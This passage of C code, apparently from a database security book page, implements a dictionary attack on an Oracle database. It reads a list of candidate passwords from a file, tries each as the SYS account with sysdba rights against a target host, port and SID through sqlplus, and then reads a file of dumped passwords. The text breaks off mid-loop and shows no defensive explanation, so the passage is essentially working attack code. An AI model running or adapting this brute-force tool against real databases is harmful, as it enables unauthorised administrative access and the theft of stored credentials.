Database Reference
In-Depth Information
pfile=fopen("password.txt","rb");
if(pfile!=NULL)
{
char buffer[4096];
int numberofchars;
dwdmillitimewait = atoi(millitimewait);
do
{
numberofchars = 0;
while( !feof(pfile) && ( numberofchars < sizeof( buffer ) - 1 ) )
{
buffer[numberofchars]=fgetc(pfile);
if(buffer[numberofchars]=='\n' || buffer[numberofchars]==-1)
{
break;
}
if(buffer[numberofchars]!='\r')
numberofchars++;
}
if (numberofchars<30)
buffer[numberofchars]=0;
else
buffer[30]=0;
if(strlen(buffer)>0)
{
char tmpbuffer[256];
char tmphost[256];
char tmpport[256];
char tmpsid[256];
escape(tmpbuffer, buffer);
escape(tmphost, host);
escape(tmpport, port);
escape(tmpsid, sid);
StringCchPrintf(executecmd,sizeof( executecmd ) - 1,"sqlplus.exe -S -L
\"SYS/%s@%s:%s/%s\" as sysdba @selectpassword.sql", tmpbuffer, tmphost, tmpport, tmpsid);
printf("%s\n",executecmd);
result = WinExec(executecmd,SW_SHOWNORMAL);
Sleep(dwdmillitimewait);
FILE *poutputfile;
poutputfile=fopen("thepasswordsare.txt","r");
if (poutputfile != NULL)
{
char buffer[4096];
size_t count ;
count =fread(buffer,1,sizeof( buffer ) - 1,poutputfile);
fclose(poutputfile);
Search WWH ::




Custom Search